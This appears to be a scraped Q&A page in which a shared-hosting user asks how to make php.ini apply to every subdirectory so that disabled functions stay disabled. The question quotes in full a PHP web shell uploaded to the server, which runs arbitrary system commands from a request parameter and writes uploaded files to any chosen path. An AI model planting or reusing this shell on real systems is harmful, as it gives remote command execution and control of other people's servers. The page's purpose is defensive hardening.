Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 68891
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 10, 20262026-05-10T19:29:16+00:00 2026-05-10T19:29:16+00:00

A few weeks ago I opened up a hole on my shared server and

  • 0

A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:

<?php if(isset($_REQUEST['cmd'])) {     echo '<pre>';     $cmd = ($_REQUEST['cmd']);     system($cmd);     echo '</pre>';     die; } ?>  <?php if(isset($_REQUEST['upload'])) {     echo '<form enctype='multipart/form-data' action='.config.php?send' method='POST'>         <input type='hidden' name='MAX_FILE_SIZE' value='5120000' />         Send this file: <input name='userfile' type='file' />         To here: <input type='text' name='direct' value='/home/chriskan/public_html/_phx2600/wp-content/???' />         <input type='submit' value='Send File' />     </form>'; } ?>  <?php if(isset($_REQUEST['send'])) {     $uploaddir = $_POST['direct'];     $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);      if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {         echo 'File is valid, and was successfully uploaded.\n'; echo $uploaddir;     } else {         echo 'Upload failed';     } } ?> 

This script allows him to process commands through in-URL variables.

I have disabled system, among other functions, in the php.ini file in my public_html directory. This will prevent the script from running if it’s located within my public_html directory, but doesn’t stop it if it’s in a sub-directory of that. If I copy the php.ini file into a sub-directory it will stop it from running from that directory.

My question is, how do I enable my php.ini file to affect all directories/sub-directories of my server?

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. 2026-05-10T19:29:16+00:00Added an answer on May 10, 2026 at 7:29 pm

    Thanks guys, your answers were great, but the answer was right under my nose the entire time. Via cPanel I was able to edit my server to use a single php.ini file.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

A few weeks ago I asked the question Is a PHP, Python, PostgreSQL design
I moved from a shared hosting to a VPS a few weeks ago and
The following question is from a quiz I took a few weeks ago and
A few weeks ago, I was assigned to evaluate all our programmers. I'm very
A few weeks ago, I asked a question about how to generate hierarchical XML
I have downloaded Privoxy few weeks ago and for the fun I was curious
I remember few weeks ago when I reorgnized our code and created some namespaces
I used a query a few weeks ago in MySQL that described a table
I started a github project a few weeks ago. I was able to push
I'm really frustrated with this one. A few weeks ago I got it working

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.